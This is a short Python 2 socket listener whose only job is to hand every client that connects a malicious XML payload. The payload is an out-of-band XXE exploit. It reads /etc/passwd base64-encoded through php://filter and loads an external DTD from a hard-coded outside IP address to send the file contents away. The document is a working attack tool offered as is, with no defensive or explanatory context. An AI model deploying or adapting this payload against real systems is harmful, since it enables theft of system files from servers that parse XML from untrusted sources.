listen for connections and respond with xml

listener.py

import socket
import sys

HOST = ''   # Symbolic name, meaning all available interfaces
PORT = 8000 # Arbitrary non-privileged port

resp='<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://123.236.165.101/host2.dtd">%dtd;]><roottag>&send;</roottag>'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'

#Bind socket to local host and port
try:
    s.bind((HOST, PORT))
except socket.error as msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()

print 'Socket bind complete'

#Start listening on socket
s.listen(10)
print 'Socket now listening'

#now keep talking with the client
while 1:
    #wait to accept a connection - blocking call
    conn, addr = s.accept()
    print 'Connected with ' + addr[0] + ':' + str(addr[1])
    data=conn.recv(1024)
    print data
    print "\n\n"
    conn.sendall(resp)
    conn.close()
    #conn.send(resp)
s.close()